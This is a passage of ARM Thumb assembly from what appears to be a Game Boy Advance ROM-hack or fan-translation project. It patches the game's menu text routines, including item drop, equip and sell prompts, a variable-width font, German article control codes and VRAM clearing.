r2,#0x86 bl $8046974 ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C push {r0} bl get_string_width mov r8,r0 pop {r0} mov r4,r0 mov r1,#0xF str r1,[sp,#0x0] str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,#0x16 bl $8047CDC mov r0,r8 add r1,r7,r0 // Add the question mark to the shitpile ldr r0,=#.question_mark // address of a question mark mov r2,#0x87 mov r3,#1 bl $8047CDC // Add yes/no to the shitpile mov r0,#0x3 bl $80486A0 mov r1,#0xF str r1,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r5 bl $8047CDC mov r0,#0x4 bl $80486A0 mov r2,#0xF str r2,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r5 bl $8047CDC add sp,#0x8 pop {r3,r4} mov r7,r4 mov r8,r3 pop {r4-r6,pc} //============================================================================================= // This hack fixes the first frame that appears when you try to use an item. //============================================================================================= //.setup_block_use_frame1: //push {lr} //ldr r0,=#0x2003F08 //Don't print menu for the next frame //mov r1,#1 //strb r1,[r0,#0] //mov r1,r9 //ldrb r0,[r1,#0] //pop {pc} //.prevent_printing_maybe: //push {lr} //ldr r1,=#0x2003F08 //Don't print menu for the next frame //ldrb r2,[r1,#0] //cmp r2,#1 //bne + //mov r2,#0 //strb r2,[r1,#0] //mov r5,#1 //b .end_prevent_printing_maybe //+ //mov r5,#0 //.end_prevent_printing_maybe: //pop {r1} //str r4,[sp,#0] //str r5,[sp,#4] //bx r1 //.block_normal_use_frame1: //push {lr} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r1,[r0,#0] //cmp r1,#1 //bne + //mov r1,#2 //strb r1,[r0,#0] //pop {r1} //ldr r1,=#0x8045E6D //If not, then branch away, we'll have .use_frame1 print instead //bx r1 //+ //mov r0,#0x3E //bl $80486A0 //pop {pc} //.print_normal_use_frame1: //push {lr} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r1,[r0,#0] //cmp r1,#2 //bne + //mov r1,#1 //strb r1,[r0,#0] //push {r0-r7} //push {r5-r6} //add sp,#-0x8 //mov r0,#0x41 // Goods //bl $80486A0 //mov r7,#0x1 //neg r7,r7 //mov r6,#0xF //str r6,[sp,#0] //mov r4,#0x1 //str r4,[sp,#0x4] //mov r1,#0xBF //mov r2,#0x07 //mov r3,r7 //bl $8047CDC //add sp,#0x8 //pop {r5-r6} //pop {r0-r7} //+ //mov r0,#0x3E //bl $80486A0 //pop {pc} //.block_frame1_goods: //push {lr} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r1,[r0,#0] //cmp r1,#1 //bne + //mov r1,#2 //strb r1,[r0,#0] //pop {r1} //ldr r1,=#0x804045F //bx r1 //+ //mov r0,#0x41 //bl $80486A0 //pop {pc} //.use_frame1: //push {lr} //mov r0,r2 //bl $8055594 // Call that sets the OAM entries for the text // Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those //push {r0-r7} //push {r5-r6} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r7,[r0,#0] //cmp r7,#1 //bne .end_use_frame1 //add sp,#-0x8 //mov r0,#0x41 // Goods //bl $80486A0 //mov r7,#0x1 //neg r7,r7 //mov r6,#0xF //str r6,[sp,#0] //mov r4,#0x1 //str r4,[sp,#0x4] //mov r1,#0xBF //mov r2,#0x07 //mov r3,r7 //bl $8047CDC //mov r0,#0x3C // Menu //bl $80486A0 //mov r7,#0x1 //neg r7,r7 //mov r6,#0xF //str r6,[sp,#0] //mov r4,#0x0 //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x30 //mov r3,r7 //bl $8047CDC //mov r0,#0x3E // Use //bl $80486A0 //str r6,[sp,#0] //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x3C //mov r3,r7 //bl $8047CDC //mov r0,#0x3F // Give //bl $80486A0 //str r6,[sp,#0] //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x48 //mov r3,r7 //bl $8047CDC //mov r0,#0x40 // Drop //bl $80486A0 //str r6,[sp,#0] //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x54 //mov r3,r7 //bl $8047CDC //ldr r0,=#0x2003F08 //If we printed this once, then it's not needed anymore //mov r1,#0x0 //strb r1,[r0,#0] //add sp,#0x8 //.end_use_frame1: //pop {r5-r6} //pop {r0-r7} //pop {pc} //============================================================================================= // This hack fixes the string used when you try to drop an item. //============================================================================================= .drop_text: // ---------------------------------------------- // Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those push {r4-r7,lr} mov r6,r8 push {r6} add sp,#-0x8 mov r0,#0x3C // Menu bl $80486A0 mov r7,#0x1 neg r7,r7 mov r6,#0xF str r6,[sp,#0] mov r4,#0x0 str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x30 mov r3,r7 bl $8047CDC mov r0,#0x3E // Use bl $80486A0 str r6,[sp,#0] str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x3C mov r3,r7 bl $8047CDC mov r0,#0x3F // Give bl $80486A0 str r6,[sp,#0] str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x48 mov r3,r7 bl $8047CDC mov r0,#0x40 // Drop bl $80486A0 str r6,[sp,#0] str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x54 mov r3,r7 bl $8047CDC // ---------------------------------------------- // Get some value ldr r0,=#0x2015D98 ldrb r0,[r0,#0] // Only load the text if the throw submenu is open (this value << 0x1D < 0) lsl r0,r0,#0x1D cmp r0,#0x0 blt .drop_text_end // ---------------------------------------------- // Load the "-- Throw away?" text address mov r0,#0x81 bl $80486A0 /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // ---------------------------------------------- // Add the Throw Away text to the shitpile mov r5,#1 str r6,[sp,#0] str r5,[sp,#0x4] mov r1,#0x26 mov r8,r1 // store the current X loc to r9 mov r2,#0x87 mov r3,r7 mov r4,r0 // back up the address bl $8047CDC // ---------------------------------------------- // Get the width of the Throw Away string mov r0,r4 bl get_string_width add r8,r0 // xloc += width_of_throwaway // ---------------------------------------------- // Get the item ID ldr r4,=#0x201A1FD ldrb r0,[r4,#0] // ---------------------------------------------- // Do something mysterious mov r1,#0xC mov r2,#0x86 bl $8046974 // ---------------------------------------------- // Gets the item address ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C mov r4,r0 // r0/r4 = address, r3 = max length // ---------------------------------------------- // Add the item name to the shitpile str r6,[sp,#0] str r5,[sp,#0x4] mov r1,r8 mov r2,#0x87 mov r3,#0x16 // max length for normal items bl $8047CDC // ---------------------------------------------- // Get the width of the item name mov r0,r4 bl get_string_width add r8,r0 // xloc += width_of_itemname // ---------------------------------------------- // Add the question mark to the shitpile str r6,[sp,#0] str r5,[sp,#0x4] ldr r0,=#.question_mark mov r1,r8 mov r2,#0x87 mov r3,#1 bl $8047CDC // ---------------------------------------------- // Add Yes and No to the shitpile mov r0,#0x3 bl $80486A0 str r6,[sp,#0] str r5,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r7 bl $8047CDC mov r0,#0x4 bl $80486A0 str r6,[sp,#0] str r5,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r7 bl $8047CDC // ---------------------------------------------- .drop_text_end: add sp,#0x8 pop {r3} mov r8,r3 pop {r4-r7} pop {r0} bx r0 //============================================================================================= // This hack fixes the string used when you are asked to equip a bought item. //============================================================================================= .equip_text: push {r4-r6,lr} mov r6,r8 push {r6} add sp,#-0x8 // ---------------------------------------------- // Check the menu status value again ldr r0,=#0x2015D98 ldrb r0,[r0,#0] lsl r0,r0,#0x1D cmp r0,#0x0 bge + // ---------------------------------------------- // If it's negative again, use a different string mov r0,#0xB9 // [person] equipped the [item]! bl $80486A0 mov r4,r0 mov r1,#0x1C mov r2,#0x87 bl $8047F28 b .equip_text_end + // ---------------------------------------------- // Load the "-- Equip now?" text address mov r0,#0x80 bl $80486A0 /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // ---------------------------------------------- // Add it to the shitpile mov r5,#0xF str r5,[sp,#0] mov r6,#0x1 str r6,[sp,#0x4] mov r1,#0x26 mov r8,r1 mov r2,#0x87 mov r3,#1 neg r3,r3 mov r4,r0 bl $8047CDC // ---------------------------------------------- // Get the width of the equip text mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Do the mystery item function ldr r4,=#0x201A1FD ldrb r0,[r4,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 // ---------------------------------------------- // Get the item address ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C mov r4,r0 // ---------------------------------------------- // Add the item name to the shitpile str r5,[sp,#0] str r6,[sp,#0x4] mov r0,r4 mov r1,r8 mov r2,#0x87 mov r3,#0x16 bl $8047CDC // ---------------------------------------------- // Get the width of the item name mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Add " now?" to the shitpile str r5,[sp,#0] str r6,[sp,#0x4] ldr r0,=#.equip_now_text mov r1,r8 mov r2,#0x87 //mov r3,#5 mov r3,#1 bl $8047CDC // ---------------------------------------------- // Add Yes and No to the shitpile mov r4,#1 neg r4,r4 mov r0,#0x3 bl $80486A0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r4 bl $8047CDC mov r0,#0x4 bl $80486A0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r4 bl $8047CDC // ---------------------------------------------- .equip_text_end: add sp,#0x8 pop {r3} mov r8,r3 pop {r4-r6} pop {r0} bx r0 .equip_now_text: dw $001F //dw $0040,$004E,$004F,$0057,$001F //============================================================================================= // This hack fixes the string used when you are asked to sell a currently equipped item after // buying new equipment. //============================================================================================= //print pc .sell_old_equip_text: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-0x8 // ---------------------------------------------- // Get the address of "Sell your " mov r0,#0x7F bl $80486A0 mov r4,r0 // ---------------------------------------------- // Add it to the shitpile mov r5,#0xF str r5,[sp,#0] mov r6,#0x1 str r6,[sp,#0x4] mov r1,#0x26 mov r8,r1 mov r2,#0x87 mov r3,#1 neg r3,r3 bl $8047CDC // ---------------------------------------------- // Get the width of "Sell your " mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Get the item ID, do the mystery function ldr r7,=#0x201A1FD ldrb r0,[r7,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 // ---------------------------------------------- // Get the item address ldrb r1,[r7,#0] mov r0,#0x2 bl $8001C5C // ---------------------------------------------- // Add the item to the shitpile mov r4,r0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,r8 mov r2,#0x87 mov r3,#0x16 bl $8047CDC // ---------------------------------------------- // Get the item width mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Do some extra crap; don't touch ldr r2,=#0x80E5108 ldrb r1,[r7,#0] mov r0,#0x6C mul r0,r1 add r0,r0,r2 ldrh r1,[r0,#0xA] ldr r0,=#0x201A518 strh r1,[r0,#0] // ---------------------------------------------- // Get the address of "-- [DPAMT] DP" mov r0,#0x7E bl $80486A0 // ---------------------------------------------- // Add the DP text to the shitpile mov r1,r8 mov r2,#0x87 bl $8047F28 // alternate shitpiler // ---------------------------------------------- // Get the width of the parsed DP text ldr r0,=#0x203FFFC ldr r0,[r0,#0] bl get_string_width add r8,r0 // ---------------------------------------------- // Add Yes and No to the shitpile mov r0,#0x3 bl $80486A0 mov r4,#1 neg r4,r4 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r4 bl $8047CDC mov r0,#0x4 bl $80486A0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r4 bl $8047CDC // ---------------------------------------------- add sp,#0x8 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7} pop {r0} bx r0 //============================================================================================= // This hack steps into the menu text parser and stores the parsed address to 203FFFC. //============================================================================================= .parser_stepin: ldr r0,=#0x203FFF8 str r6,[r0,#0] // Original address str r5,[r0,#4] // Parsed address lsl r4,r4,#2 add r4,r9 bx lr // This sets the parsed flag for use with 8047CDC .parser_stepin2: ldr r4,=#0x203FFF7 mov r5,#1 strb r5,[r4,#0] mov r5,r0 mov r4,r1 // clobbered code bx lr // This adds the real address to the table at 203FFA0 .parser_stepin3: push {r0,r2,r3} // r0 = counter // ---------------------------------------------- // Get the target address ready; addr = 203FFA0 + (counter * 4) ldr r1,=#0x203FFA0 lsl r0,r0,#2 add r1,r1,r0 // ---------------------------------------------- // Check the parsed flag ldr r2,=#0x203FFF7 ldrb r0,[r2,#0] mov r3,#0 strb r3,[r2,#0] cmp r0,#0 bne + // Use the address in r5 str r5,[r1,#0] b .parser_stepin3_end + // Use the original address from 203FFF8 add r2,#1 ldr r0,[r2,#0] // ---------------------------------------------- // Store it to the table str r0,[r1,#0] .parser_stepin3_end: pop {r0,r2,r3} mov r1,r0 lsl r0,r1,#2 // clobbered code bx lr //============================================================================================= // This hack applies a VWF to item text and other non-sprite text in the main menus. //============================================================================================= .item_vwf: push {r2,r6,lr} ldr r6,[r6,#0] lsl r6,r6,#0x14 lsr r0,r6,#0x14 // r0 has the letter now ldr r2,=#{main_font_width} // r2 now points to the start of 16x16 font's width table ldrb r0,[r2,r0] // load r0 with the appropriate width pop {r2,r6,pc} //============================================================================================= // This hack makes Chapter End (and other stuff?) appear nicely on the file select screens //============================================================================================= .chap_end_text: push {lr} cmp r1,#0xCA bne + sub r0,r0,#2 + lsl r0,r0,#0x10 add r3,r6,r0 asr r3,r3,#0x10 pop {pc} //============================================================================================= // This hack manually clears the tile layer with non-sprite text on it, since the game // doesn't seem to want to do it itself all the time. We're basically shoving a bunch of 0s // into the tilemap. // // // Note that this is buggy so it's not being used now. Fix it later maybe? //============================================================================================= .clear_non_sprite_text: push {lr} cmp r4,#0 bne + bl .delete_vram + mov r0,r5 // clobbered code mov r1,r6 pop {pc} //============================================================================================= // This hack implements a VWF for the battle memory non-sprite text. //============================================================================================= .battle_mem_vwf: push {r5,lr} // We're going to use r5, so we need to keep it in ldr r5,[sp,#0x08] // Load r5 with our former LR value? mov r14,r5 // Move the former LR value back into LR ldr r5,=#0x804999B // This is different from the other functions. At the old code from the branch, // there is an unconditional branch after mov r0,#8 to this address. // This is where we want to return to. str r5,[sp,#0x08] // Store it over the previous one pop {r5} // Get back r5 add sp,#0x04 // Get the un-needed value off the stack ldr r0,=#{main_font_width} // load r0 with the address of our 16x16 font width table (FIX : that was 8x8) ldrb r0,[r0,r1] pop {pc} //============================================================================================= // This hack will make the game load alternate text than the game would normally expect. // This affects: // - Short enemy names in the Battle Memory screen // - Short enemy names used in gray name boxes outside // - Fixed item descriptions in battle, with descs that would normally use status icons // - Sleep mode message, which had to be done using prewelded text //============================================================================================= .load_alternate_text: push {r5,lr} // We're going to use r5, so we need to keep it in ldr r5,[sp,#0x08] // Load r5 with our former LR value? mov lr,r5 // Move the former LR value back into LR ldr r5,[sp,#0x04] // Grab the LR value for THIS function str r5,[sp,#0x08] // Store it over the previous one pop {r5} // Get back r5 add sp,#0x04 // Get the un-needed value off the stack push {r5-r6} // need to use these registers real quick cmp r2,#0x07 // if r2 == 7, then we're dealing with enemy names beq .short_enemy_name cmp r2,#0x00 // in battle, status icons don't get displayed beq .status_icon_text // so we prepare alternate text cmp r1,#0x25 // we have to do some magic to make the sleep mode message work beq .sleepmode_text b .orig_load_code // so let's just jump to the original code for non-enemy names //--------------------------------------------------------------------------------------------- .short_enemy_name: ldr r5,=#0x80476FB // load r5 with 0x80476FB, which we'll use to compare the calling address from ldr r6,[sp,#0x1C] // load in the calling address cmp r5,r6 // if equal, this is for the battle memory menu beq + //Load r5 with the scrolling printing routine for the battle memory ldr r5,=#.new_battle_memo_scroll_print_after_function+1 cmp r5,r6 beq + // if equal, this is for the battle memory menu ldr r5,=#0x8023B1F // load r5 with 0x8023B1F, which is used for the gray name boxes cmp r5,r6 bne .orig_load_code // if not equal, jump to the original code + ldr r0,=#0x8D23494 // load the base address of the abbreviated names list b .end_load_code //--------------------------------------------------------------------------------------------- .status_icon_text: ldr r5,=#0x8064B89 // see if this is being loaded from battle, if not, do normal code ldr r6,[sp,#0x18] cmp r5,r6 bne .orig_load_code cmp r4,#0x8B // if item # < 0x8B or item # > 0x92, use normal code and desc text blt .orig_load_code cmp r4,#0x92 bgt .orig_load_code ldr r0,=#0x9F8F004 // else use special item descriptions just for this instance cmp r1,#4 bne + ldr r0,=#0x9F8F204 + b .end_load_code //--------------------------------------------------------------------------------------------- .sleepmode_text: ldr r5,=#0x9AF3790 // just making extra sure we won't trigger this fix on accident cmp r0,r5 // see if r0 directs to the menus3 block bne .orig_load_code // if it doesn't, skip all this and do the original code ldr r5,=#0x9FB0300 // start of custom sleep mode text/data cmp r6,#0x1F // if this is the first sleep mode line, redirect pointer bne + // if this isn't the first sleep mode line, see if it's the 2nd mov r0,r5 add r0,#2 // r0 now has the address of the first line of custom SM text b .special_end_load + cmp r6,#0x20 // see if this is the 2nd line of sleep mode text bne .orig_load_code // if it isn't, we continue the original load routine as usual ldrh r0,[r5,#0] // load the offset to the 2nd line add r0,r5,r0 // r0 now has the address to the 2nd line b .special_end_load //--------------------------------------------------------------------------------------------- .orig_load_code: lsl r1,r1,#0x10 // when this whole routine ends, it will go back to 80028A4 lsr r1,r1,#0x0E add r1,r1,r0 ldr r1,[r1,#0x04] add r0,r0,r1 .end_load_code: pop {r5-r6,pc} // Pop the registers we used off the stack, and return //--------------------------------------------------------------------------------------------- .special_end_load: mov r5,lr // we need to do some return address magic if we're doing add r5,#8 // the sleep mode text fix mov lr,r5 pop {r5-r6,pc} //============================================================================================= // These three little hacks move item descriptions in RAM and allow for up to 256 letters, // though there wouldn't be enough room in the box for that of course :P //============================================================================================= .load_desc_address1: ldr r0,=#0x2014330 mov r2,r8 bx lr //--------------------------------------------------------------------------------------------- .load_desc_address2: mov r0,r4 ldr r1,=#0x2014330 bx lr //--------------------------------------------------------------------------------------------- .load_desc_clear_length: ldr r1,=#0x1F8 mov r2,r8 bx lr //============================================================================================= // These six hacks allow for longer messages in main menus. The max is somewhere around 200 // letters. //============================================================================================= .save_menu_msg_address: add r5,#2 ldr r0,=#0x2014310 str r5,[r0,#0] pop {r4-r7} pop {r0} bx lr //--------------------------------------------------------------------------------------------- .load_menu_msg_address: ldr r0,=#0x2014310 ldr r5,[r0,#0] bx lr //--------------------------------------------------------------------------------------------- .init_menu_msg_address: ldr r0,=#0x201A374 ldr r7,=#0x2014310 str r0,[r7,#0] mov r7,#0 mov r0,#1 bx lr //--------------------------------------------------------------------------------------------- .change_menu_msg_address1: push {r2,lr} ldr r0,=#0xFFFFFFFF ldr r1,=#0x2014330 ldr r2,=#0x100 bl fill_mem mov r0,r6 pop {r2,pc} //--------------------------------------------------------------------------------------------- .change_menu_msg_address2: mov r0,r5 ldr r1,=#0x2014330 bx lr //--------------------------------------------------------------------------------------------- .change_menu_msg_clear_amt: ldr r1,=#0x201A510 sub r1,r1,r5 mov r2,r8 bx lr //============================================================================================= // This hack processes our custom control codes. Since we don't need to bother with enemy // stuff here, only custom item control codes need to be handled here. // // The custom item control codes are [10 EF] through [17 EF]. // // [10 EF] - Prints the proper article if it's the first word of a sentence (ie "Ein/Eine") // [11 EF] - Prints the proper article if it's not the first word of a sentence (ie "ein/eine") // [12 EF] - Prints an uppercase definite article ("Der", etc.) // [13 EF] - Prints a lowercase definite article ("der", etc.) // [14 EF] - Prints genetive article depending on the item // [15 EF] - Prints genetive suffix depending on the item // [16 EF] - Prints it/them depending on the item CURRENTLY UNUSED // [17 EF] - Prints ist/sind depending on the item // // [20 EF] - Prints string fragments about the type of equipment the current item is // //============================================================================================= .execute_custom_cc: push {r0-r3,lr} ldrb r0,[r4,#1] // load the high byte of the current letter cmp r0,#0xEF // if it isn't 0xEF, do normal stuff and then leave beq + ldrh r0,[r4,#0] // load the correct letter again strh r0,[r5,#0] // store the letter add r4,#2 // increment the read address add r5,#2 // increment the write address b .ecc_end // leave this subroutine //--------------------------------------------------------------------------------------------- + ldrb r0,[r4,#0] // load the low byte of the current letter, this is our argument cmp r0,#0x20 // if this is EF20, go do that code elsewhere beq + mov r2,#0x10 sub r2,r0,r2 // r2 = argument - #0x10, this will make it easier to work with ldr r0,=#0x201A1FD // this gets the current item # ldrb r0,[r0,#0] lsl r0,r0,#3 // r0 = item num * 8 ldr r1,=#{item_extras_address} // this is the base address of our extra item data table in ROM add r0,r0,r1 // r0 now has the address of the correct item table ldrb r0,[r0,r2] // r0 now has the proper article entry # mov r1,#40 mul r0,r1 // calculate the offset into custom_text.bin ldr r1,=#{custom_text_address} // load r1 with the base address of our custom text array in ROM add r0,r0,r1 // r0 now has the address of the string we want mov r1,r5 // r1 now has the address to write to bl custom_strcopy // r0 returns with the # of bytes copied add r5,r5,r0 // update the write address add r4,#2 // increment the read address b .ecc_end //--------------------------------------------------------------------------------------------- + // all this code here prints the proper "is equipment" message ldr r0,=#0x201A1FD // this gets the current item # ldrb r0,[r0,#0] ldr r1,=#0x80E510C // start of item data blocks + item_type address mov r2,#0x6C // size of each item data block mul r0,r2 // item_num * 6C add r0,r0,r1 // stored at this address is the current item's type ldrb r0,[r0,#0] // load the item type add r0,#4 // add 4 -- starting on line 4 of custom_extras.txt are the strings we want mov r1,#40 mul r0,r1 ldr r1,=#{custom_text_address} // this is the base address of our custom text array add r0,r0,r1 // r0 now has the correct address mov r1,r5 bl custom_strcopy // r0 returns the # of bytes copied add r5,r5,r0 // update the write address add r4,#2 // increment the read address //--------------------------------------------------------------------------------------------- .ecc_end: pop {r0-r3,pc} //============================================================================================= // This hack fixes the main menu string length counting routine so that character names // don't wind up with extra long names. If the counting routine thought a name was > 8, // manually make the length = 8. //============================================================================================= .counter_fix1: push {lr} //mov r5,#8 // r5 will be the new value to change to if need be ldr r0,[sp,#8] // load r0 with the base address of the string we just counted bl check_name // check if the name is custom cmp r0,#0 beq + cmp r3,r0 // is the length > r5 (normally 8)? ble + // if not, continue as normal, else manually make it = r5 (normally 8) mov r3,r0 + mov r0,r3 // clobbered code pop {r4} mov lr,r4 pop {r4,r5} bx lr //============================================================================================= // This hack fixes the rare case of the menu message "Fav. Food - XXX has XXX of this item." // The game always assumes the fav. food's max length is 22, because that's the length of // normal items. //============================================================================================= .counter_fix2: ldr r2,=#0x2004F02 // load the address of where the fav. food string is stored cmp r4,r2 // if we're working with the fav. food address, alter the max length bne + mov r0,#9 // 9 is the max length for fav. food + lsl r0,r0,#0x10 // clobbered code lsr r2,r0,#0x10 bx lr //============================================================================================= // This hack deletes the content of VRAM that is being shown //============================================================================================= .delete_vram: push {r0-r2,lr} mov r0,#0 push {r0} mov r0,sp ldr r1,=#0x600E800 ldr r2,=#0x01000140 // (0x500 => 160 pixels, the GBA screen's height, 24th bit is 1 to fill instead of copying) swi #0x0C // clear old data out pop {r0} pop {r0-r2,pc} //============================================================================================= // This hack deletes the content of text's OAM VRAM that can be used //============================================================================================= .delete_oam_vram: push {r0-r2,lr} mov r0,#0 push {r0} mov r0,sp ldr r1,=#0x06010000 ldr r2,=#0x01000C00 // (0x3000 => The full OAM we use for text) swi #0x0C // clear old data out pop {r0} pop {r0-r2,pc} //============================================================================================= // This hack deletes the content of a subsection of text's OAM VRAM that can be used //============================================================================================= //These 2 values must reflect {new_pos_base_alternative2}!!! define delete_oam_vram_subsection_target_addr $6012000 define delete_oam_vram_subsection_zone_size ($6013000-$6012000)/$4 .delete_oam_vram_subsection: push {r0-r3,lr} mov r0,#0 push {r0} mov r0,sp ldr r1,=#{delete_oam_vram_subsection_target_addr} ldr r2,=#{delete_oam_vram_subsection_zone_size} mov r3,#1 lsl r3,r3,#0x18 orr r2,r3 // (0x1000 => The rest of the OAM) swi #0x0C // clear old data out pop {r0} pop {r0-r3,pc} //============================================================================================= // This hack deletes the content of VRAM in equip when the data shouldn't be shown. Optimized. //============================================================================================= .delete_vram_equip: push {r1-r7,lr} bl $805504C // Get if the character's data can be shown lsl r0,r0,#0x10 cmp r0,#0 // If it can be shown, jump to the end beq + push {r0} // Setup ldr r6,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) ldr r7,=#0x600E9A0 mov r4,#0x40 lsl r5,r4,#2 mov r0,#0 push {r0} //Actual clearing //Weapon //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out add r7,r7,r5 // Next section //Body //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out add r7,r7,r5 // Next section //Head //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out add r7,r7,r5 // Next section //Other //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out pop {r0} // Ending pop {r0} + pop {r1-r7,pc} //============================================================================================= // This hack deletes the content of VRAM in status when the data shouldn't be shown. Optimized. //============================================================================================= .delete_vram_status: push {r1-r7,lr} bl $805504C // Get if the character's data can be shown lsl r0,r0,#0x10 cmp r0,#0 // If it can be shown, jump to the end beq + push {r0} // Setup ldr r6,=#0x0100000E // (0x1C bytes of arrangements, 24th bit is 1 to fill instead of copying) ldr r7,=#0x600EAA4 mov r4,#0x40 lsl r5,r4,#1 mov r0,#0 push {r0} //Actual clearing //Weapon //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Body //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Head //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Other //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Skill //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out pop {r0} // Ending pop {r0} + pop {r1-r7,pc} //============================================================================================= // This hack deletes the content of VRAM that is being shown when going from the inventory to the battle memory // It also clears OAM's text VRAM. //============================================================================================= .delete_vram_inv_to_battle_memory: push {lr} bl .delete_vram bl .delete_oam_vram bl $800399C // Clobbered code pop {pc} //============================================================================================= // This hack deletes the content of VRAM that is being shown when going from the battle memory to the inventory // It also clears OAM's text VRAM. //============================================================================================= .delete_vram_battle_memory_to_inv: push {lr} bl .delete_vram bl .delete_oam_vram bl $804BE64 // Clobbered code pop {pc} //============================================================================================= // This hack puts an alternate menu text palette for certain menus. Used for optimizing //============================================================================================= .add_extra_menu_palette: push {lr} bl $800160C //Normal expected code ldr r0,=#0x2004100 ldrb r0,[r0,#0] cmp r0,#2 // Is this the PSI menu? beq + cmp r0,#5 // Or the shop's menu? bne .add_extra_menu_palette_end + mov r0,r4 // If it is, load an extra palette as the 8th one ldr r1,=#{alternate_menu_text_palette} mov r2,#0x08 mov r3,#0x20 bl $800160C .add_extra_menu_palette_end: pop {pc} //============================================================================================= // This hack changes how up/down scrolling in menus works - Based off of 0x8046D90, which is basic menu printing //============================================================================================= .new_print_menu_offset_table: dd .new_main_inventory_scroll_print+1; dd .new_equip_print+1; dd .new_psi_scroll_print+1; dd .new_status_print+1 dd .new_skills_scroll_print+1; dd .new_memoes_scroll_print+1; dd .new_default_scroll_print+1; dd .new_battle_memo_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1; dd .new_shop_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 .new_print_menu_offset_table_special: dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1 .new_print_menu_addition_value_table: dw $41EC; dw $41F4; 